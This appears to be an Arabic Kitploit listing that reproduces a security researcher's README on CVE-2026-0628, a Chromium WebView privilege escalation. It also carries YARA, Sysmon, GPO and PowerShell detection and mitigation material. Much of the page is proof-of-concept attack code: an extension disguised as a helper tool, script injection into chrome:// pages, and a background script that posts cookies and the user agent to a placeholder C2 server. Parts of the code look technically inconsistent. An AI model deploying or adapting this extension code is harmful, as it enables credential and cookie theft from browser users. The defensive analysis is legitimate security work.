Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation — تشريح تقني لثغرة CVE-2026-0628، وهي ثغرة تصعيد صلاحيات في Chromium WebView، بما في ذلك تحليل السبب الجذري، واستغلال PoC، وقواعد الكشف، واستراتيجيات التخفيف. | Kitploit
أدوات/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالأمن الويبتحليل البرمجيات الخبيثةالتحاليل الرقمية الجنائية
GitHubsastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تشريح تقني لثغرة CVE-2026-0628، وهي ثغرة تصعيد صلاحيات في Chromium WebView، بما في ذلك تحليل السبب الجذري، واستغلال PoC، وقواعد الكشف، واستراتيجيات التخفيف.

عرض المستودعالموقع الإلكتروني
119منذ 8 أشهرلم تتم المراجعة بعد

DOI = doi.org/10.5281/zenodo.18413764

ORCID = orcid.org/0009-0007-7728-256X


README.md


# **CVE-2026-0628: تصعيد الامتيازات في Chromium WebView (انتحال الأصل) – بحث تقني وإثبات المفهوم**

**المؤلف:** Sastra Adi Wiguna (Purple Elite Teaming)
**تاريخ البحث:** يناير 2026
**معرف CVE:** CVE-2026-0628
**CVSS v3.1:** 8.8 (عالٍ)
**الإصدارات المتأثرة:** Chromium < 143.0.7499.192
**حالة التصحيح:** تم التصحيح في Chrome ≥143.0.7499.192 وEdge ≥143.0.3650.139

---

## **1. نظرة عامة**

### **1.1 الغرض من البحث**
يوثق هذا المستودع **CVE-2026-0628**، وهي **ثغرة تصعيد امتيازات عالية الخطورة** في آلية فرض سياسات WebView في Chromium. تسمح الثغرة للإضافات الخبيثة بـ**تجاوز قيود العزل (sandbox)**، وحقن البرامج النصية في **سياقات مميزة** (مثل `chrome://`)، و**تصعيد الامتيازات** لتنفيذ كود عشوائي.

هذا البحث **مخصص حصريًا لأغراض الأمن الدفاعي**، بما في ذلك:
- **تحليل الثغرات**
- **هندسة الكشف**
- **تطوير استراتيجيات التخفيف**
- **اختبار الاختراق (في البيئات المصرح بها فقط)**

### **1.2 إخلاء مسؤولية**
- **مخصص strictly للأبحاث الأكاديمية والدفاعية.**
- **لا تستخدم ضد أنظمة الإنتاج دون إذن.**
- **امتثل لجميع القوانين المعمول بها وسياسات الأمان المؤسسية.**
- **قم بالتصحيح فورًا:** Chrome ≥143.0.7499.192، Edge ≥143.0.3650.139.

---

## **2. التحليل الفني**

### **2.1 السبب الجذري**
**فرض سياسات غير كافٍ** في تنفيذ WebView في Chromium يسمح للإضافات بـ**تجاوز حدود العزل** والوصول إلى **سياقات DOM مميزة**.

**التدفق القابل للاستغلال:**
1. تعلن الإضافة الخبيثة عن استخدام WebView في `manifest.json`.
2. تحقن الإضافة حمولة HTML/JS مصممة عبر وسم `<webview>`.
3. **تجاوز التحقق من سياسة WebView** ← الوصول إلى الصفحات المميزة (مثل `chrome://settings`).
4. **تنفيذ برنامج نصي عشوائي** في سياقات مميزة.

**متجه CVSS:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 بنية الاستغلال**
#### **قالب الإضافة الخبيثة**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

متجه الحقن الحرج (payload.js)

class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // Key bypass parameter
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

3. تقييم الأثر

مرحلة الهجومالأثر التقنيالأثر على الأعمالمقاييس CVSS
تثبيت الإضافةموافقة المستخدم ← الثباتمتجه هندسة اجتماعيةUI:R (مطلوب)
تجاوز WebViewهروب من العزل ← سياق مميزاختطاف الجلسةS:U ← C:H/I:H/A:H
حقن البرنامج النصيالتلاعب بـ DOM ← تسريب البياناتسرقة بيانات الاعتمادPR:N (بدون صلاحيات)
الثباتبرنامج خلفي ← اتصال C2تحضير للحركة الجانبيةAC:L (تعقيد منخفض)

4. الكشف والتحليل الجنائي

4.1 قاعدة YARA للإضافات الخبيثة

rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Detects CVE-2026-0628 WebView exploit patterns"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 توقيعات أحداث Sysmon

  • معرف الحدث 1: chrome.exe ← إنشاء WebView مشبوه.
  • معرف الحدث 3: اتصال شبكة ← إضافة ← C2 خارجي.
  • السجل: HKCU\Software\Google\Chrome\Extensions\[malicious_id].

5. تحليل التصحيح ومتجهات التجاوز

5.1 فرق الإصدار المُصحح (Chrome 143.0.7499.192+)

// Vulnerable (pre-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
  return false; // Weak policy check
}

// Patched
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension not privileged');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Content-Security-Policy hardening
  }
}

5.2 تنفيذ التخفيف

قالب GPO للمؤسسات

{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

برنامج الكشف في وقت التشغيل (PowerShell)

# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

6. إثبات المفهوم (PoC) للاستغلال

6.1 هيكل الدليل

cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 الملفات الأساسية

manifest.json (بيان التجاوز)

{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js (الثبات ومنارة C2)

chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installed');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

content.js (مشغل WebView والحقن)

(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', target);
    webview.setAttribute('allowpopups', '');
    webview.addEventListener('dom-ready', () => {
      chrome.scripting.executeScript({
        target: {tabId: getCurrentTabId()},
        func: stealPrivilegedData
      });
    });
    document.body.appendChild(webview);
  }
تنزيل الأداة